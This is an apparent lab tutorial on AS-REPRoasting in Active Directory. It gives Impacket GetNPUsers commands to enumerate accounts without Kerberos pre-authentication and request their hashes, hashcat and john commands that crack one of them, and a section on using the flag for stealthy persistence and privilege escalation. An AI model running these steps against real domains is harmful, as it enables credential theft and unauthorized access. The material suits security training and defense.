Impacket's GetNPUsers.py script can be used to enumerate users with their UAC value set to DONT_REQ_PREAUTH.

Note: When working with Kerberos on Linux, we need to use the target's DNS server or configure our host machine with the corresponding DNS entries for the domain we are targetting. That is, we need to have an entry in /etc/hosts for the domain/Domain Controller before attacking it.

AS-REPRoastable Users Enumeration

$ impacket-GetNPUsers dotnetguard.local/pixis

amber.smith2020-07-27 21:35:52.3331832020-07-28 20:34:15.2153020x410220

kerem.dotnet CN=Schema Admins,CN=Users,DC=DOTNETGUARD,DC=LOCAL2020-07-27 21:35:57.901421<never>0x410220

Now that we have a list of vulnerable accounts, we can request their hashes in Hashcat's format by adding the -request parameter to our command.

Requesting AS-REPRoastable Hashes

$ impacket-GetNPUsers dotnetguard.local/pixis -request

Name MemberOfPasswordLastSetLastLogonUAC

-------------------------------------------------------------- -------------------------- -------------------------- --------

amber.smith2020-07-27 21:35:52.3331832020-07-28 20:34:15.2153020x410220

kerem.dotnet CN=Schema Admins,CN=Users,DC=DOTNETGUARD,DC=LOCAL 2020-07-27 21:35:57.901421 2020-08-12 16:20:21.383297 0x410220

$krb5asrep$23$amber.smith@DOTNETGUARD.LOCAL:d28eecddc8c5e18157b3d73ec4a68aa5$2a881995d52a313d265<SNIP>

$krb5asrep$23$kerem.dotnet@DOTNETGUARD.LOCAL:e65a2fa83383a0c1f189408c07fe6d32$5b0478cd94258778478<SNIP>

Finding Vulnerable Accounts without Authentication

If we do not have credentials on the domain but have a username list, we can still find accounts that do not require pre-authentication. Using GetNPUsers.py, we can search for each account inside the file containing the user list to identify if there is a least one account vulnerable to this attack:

Finding AS-REPRoastable Accounts without Authentication

$ impacket-GetNPUsers DOTNETGUARD/ -dc-ip 10.129.205.35 -usersfile /tmp/users.txt -format hashcat -outputfile /tmp/hashes.txt -no-pass


User Hash

$ cat /tmp/hashes.txt

$krb5asrep$23$baron.dotnetguard@DOTNETGUARD:d28eecddc8c5e18157b3d73ec4a68aa5$2a881995d52a313d265<SNIP>

Cracking Hashes from Linux

$ hashcat -m 18200 hashes.txt rockyou.txt

$ john --format=krb5asrep --wordlist=rockyou.txt hashes.txt

<SNIP>

$krb5asrep$23$kerem.dotnetguard@DOTNETGUARD.LOCAL:c4caff1049fd667<SNIP>9b96189d8804:dancing_queen101

<SNIP>

Red Team Usage

Red Teams may utilize AS-REPRoasting as part of two attack chains:

  1. Persistence: Setting this bit (i.e., the DONT_REQ_PREAUTH flag) on accounts would allow attackers to regain access to accounts in case of a password change. This is useful because it lets the team establish persistence on boxes that are likely outside the scope of monitoring (e.g., Printers) and still have a high probability of gaining access to the domain at any time. We may see this setting enabled on service accounts used by old management applications, and if discovered, the blue team may ignore them.
  2. Privilege Escalation: There are many scenarios where an attacker can change any attribute of an account but not the ability to log in without knowing or resetting the password. Password resets are dangerous as they have a high probability of raising alarms. Instead of resetting the password, attackers can enable this bit and attempt to crack the account's password hash.

Conclusion

AS-REPRoasting is a powerful technique to find and crack passwords of accounts with pre-authentication disabled. This setting is not highly prevalent, but we will see it occasionally, and its success depends on an account having a cryptographically weak password such that it can be cracked in a reasonable amount of time (with a tool such as Hashcat).